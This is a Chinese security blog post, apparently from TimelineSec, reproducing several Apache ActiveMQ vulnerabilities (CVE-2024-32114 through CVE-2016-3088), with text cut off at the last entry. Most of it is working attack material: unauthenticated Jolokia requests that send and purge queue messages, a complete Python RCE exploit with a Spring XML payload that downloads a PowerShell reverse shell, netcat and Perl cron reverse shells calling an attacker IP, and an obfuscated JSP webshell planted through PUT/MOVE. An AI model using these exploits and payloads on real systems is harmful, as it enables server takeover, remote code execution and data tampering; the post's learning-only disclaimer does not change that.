专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
高分子科技  ·  天工大任元林教授团队 ... ·  16 小时前  
高分子科技  ·  浙工大徐立新/叶会见团队 AFM ... ·  昨天  
高分子科学前沿  ·  ​金泽大学程笑笑/苏州大学张伟Chem. ... ·  19 小时前  
高分子科学前沿  ·  年薪30万起!中国科大王柳教授诚聘医工交叉软 ... ·  昨天  
高分子科学前沿  ·  福州大学赖跃坤、黄剑莹教授等《AFM》:基于 ... ·  2 天前  
51好读  ›  专栏  ›  TimelineSec

Apache ActiveMQ历史漏洞复现合集

TimelineSec  · 公众号  ·  · 2024-09-29 18:00

正文

关注我们❤️,添加星标🌟,一起学安全!
作者:Timeline Sec漏洞研究组
本文字数:8902
阅读时长:5-6mins
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

序号 漏洞编号 漏洞类型 作者
1 CVE-2024-32114 未授权 hexixi
2 CVE-2023-46604 RCE hexixi
3 CVE-2022-41678 RCE hexixi
4 CVE-2017-15709 信息泄漏 hexixi
5 CVE-2016-3088 任意文件写入 hexixi
6 CVE-2015-5254 反序列化 hexixi

注:后台回复“ 技术手册 ”可获取合集PDF文档

Apache ActiveMQ Jolokia REST API 未授权访问漏洞(CVE-2024-32114)

0x01 利用条件

权限要求:无需权限
其他条件:允许远程访问

0x02 影响版本

6.0.0 <= Apache ActiveMQ < 6.1.2

0x03 漏洞复现

访问/api/jolokia可看到相关信息

获取AactiveMQ代理消息

GET /api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost HTTP/1.1
Host: 192.168.187.129:8161
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

列出所有队列

GET /api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=* HTTP/1.1
Host: 192.168.187.129:8161
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

向队列发送消息,从上面知道有队列“1”

POST /api/message/1 HTTP/1.1
Host: 192.168.187.129:8161
Connection: close
Content-Type: application/json
Content-Length: 80

{
  "body""Hello, World!",
  "properties": {
    "JMSPriority": 4
  }
}

删除队列中的消息

POST /api/jolokia/ HTTP/1.1
Host: 192.168.187.129:8161
Origin:localhost:8161
Connection: close
Content-Type: application/json
Content-Length: 157


{
  "type""exec",
  "mbean""org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=1",
  "operation""purge"
}

Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)

0x01 利用条件

权限要求:无需权限
其他条件:允许远程访问

0x02 影响版本

Apache AchtiveMQ <= 5.18.2

0x03 漏洞复现

编写一个python脚本,需要远程加载poc.xml进行利用,因此需要在poc所在目录利用python搭建一个简易的http服务

python -m http.server 8000

exploit.py详细代码

import socket 
import argparse 
 
def main(ip, port, url): 
    if not ip or not url: 
        print("Usage: script.py -i  -p  -u "
        return 
     
    banner() 
     
    class_name = "org.springframework.context.support.ClassPathXmlApplicationContext" 
    message = url 
 
    header = "1f00000000000000000001" 
    body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message) 
    payload = int2hex(len(body) // 2, 8) + body 
    data = bytes.fromhex(payload) 
 
    print("[*] Target:", f"{ip}:{port}"
    print("[*] XML URL:", url) 
    print() 
    print("[*] Sending packet:", payload) 
 
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    conn.connect((ip, int(port))) 
    conn.send(data) 
    conn.close() 
 
def banner(): 
    print("     _        _   _           __  __  ___        ____   ____ _____ \n    / \\   ___| |_(_)_   _____|  \\/  |/ _ \\      |  _ \\ / ___| ____|\n   / _ \\ / __| __| \\ \\ / / _ \\ |\\/| | | | |_____| |_) | |   |  _|  \n  / ___ \\ (__| |_| |\\ V /  __/ |  | | |_| |_____|  _ ) 
 
def string2hex(s): 
    return s.encode().hex() 
 
def int2hex(i, n): 
    if n == 4: 
        return format(i, '04x'
    elif n == 8: 
        return format(i, '08x'
    else
        raise ValueError("n must be 4 or 8"
 
if __name__ == "__main__"
    parser = argparse.ArgumentParser() 
    parser.add_argument("-i""--ip"help="ActiveMQ Server IP or Host"
    parser.add_argument("-p""--port", default="61616"help="ActiveMQ Server Port"
    parser.add_argument("-u""--url"help="Spring XML Url"
    args = parser.parse_args() 
     
    main(args.ip, args.port, args.url)

poc.xml利用文件代码

"1.0" encoding="UTF-8" ?>
"http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"
>
    "pb" class="java.lang.ProcessBuilder" init-method="start">
        
            
                calc
            

        

    


运行exploit.py,输入目标ip和端口,以及搭建的简易http服务链接

python exploit.py -i 192.168.0.107 -p 61616 -u 
http://127.0.0.1:8000/poc.xml

反弹shell操作:在攻击机开启nc端口,编写poc.xml输入攻击机ip

"http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
 
    "pb" class="java.lang.ProcessBuilder" init-method="start">
        
            
                powershell
                -c
                'https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.244.143 -Port 4444]]>
            

        

    


成功接收到shell

Apache ActiveMQ Jolokia代码执行漏洞(CVE-2022-41678)

0x01 利用条件

权限要求:admin权限
其他条件:Jolokia允许远程监控和管理

0x02 影响版本

Apache ActiveMQ < 5.16.6
5.17.0< Apache ActiveMQ < 5.17.4

0x03 漏洞复现

Jolokia允许通过HTTP接口与JVM中的MBean,从而实现对应用程序进行监控、管理和配置。ActiveMQ配置了Jolokia服务可通过/api/Jolokia端口操作MBean。

post到/api/jolokia/返回200,漏洞可利用

POST /api/jolokia/ HTTP/1.1
Host: 192.168.0.107:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 146

{
    "type""EXEC",
    "mbean""jdk.management.jfr:type=FlightRecorder",
    "operation""setConfiguration",
    "arguments": [4,""]
}

poc地址:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2022-41678/poc.py   (poc过长,在这里不做过多的展示)

通过poc.py上传jsp webshell

反弹shell

nc 192.168.244.143 4444 -e cmd.exe

ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

0x01 利用条件

权限要求:无需权限

其他条件:开放了61616端口

0x02 影响版本

Apache ActiveMQ <= 5.15.2

0x03 漏洞复现

nmap探测目标开放端口

nmap -p- -A -O 192.168.244.143

61616为Apache ActiveMQ消息队列,使用了OpenWire协议,暴露相关的信息

Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)

0x01 利用条件

权限要求:无需权限
其他条件:开启fileserver应用,开启PUT请求

0x02 影响版本

Apache ActiveMQ < 5.14.0

0x03 漏洞复现

ActiveMQ fileserver服务具有文件写入权限,但本身没有权限限制。直接访问:

无cookies上传,写入文件

由于fileserver不能上传jsp文件,因此先上传webshell.txt文件,后续利用MOVE转移到能执行的目录

PUT /fileserver/webshell.txt HTTP/1.1
Host: 192.168.244.143:8161
Content-Length: 774

"text/html;charset=UTF-8"  language="java" %>
    if(request.getParameter("cmd")!=null){
        Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));  //java.lang.Runtime的ascll
        //exec   getRuntime
        Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("
"
);
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("
");
}
%>

通过默认口令查看绝对路径

MOVE转移到/opt/activemq/webapps/api/路径下,并修改文件后缀为可利用后缀

MOVE /fileserver/webshell.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/webshell.jsp
Host: 192.168.244.143:8161
Content-Length: 774

"text/html;charset=UTF-8"  language="java" %>
    if(request.getParameter("cmd")!=null){
        Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));  //java.lang.Runtime的ascll
        //exec   getRuntime
        Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("
"
);
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("
");
}
%>

反弹shell操作

写入计划任务

PUT /fileserver/root.txt HTTP/1.1
Host: 192.168.244.143:8161
Content-Length: 774

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="172.16.69.142";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

转移路径修改包名

MOVE /fileserver/root.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.244.143:8161

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="172.16.69.142";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

成功反弹shell

Apache ActiveMQ反序列化漏洞(CVE-2015-5254)

0x01 利用条件

权限要求:无需权限

0x02 影响版本

Apache ActiveMQ < 5.13.0







请到「今天看啥」查看全文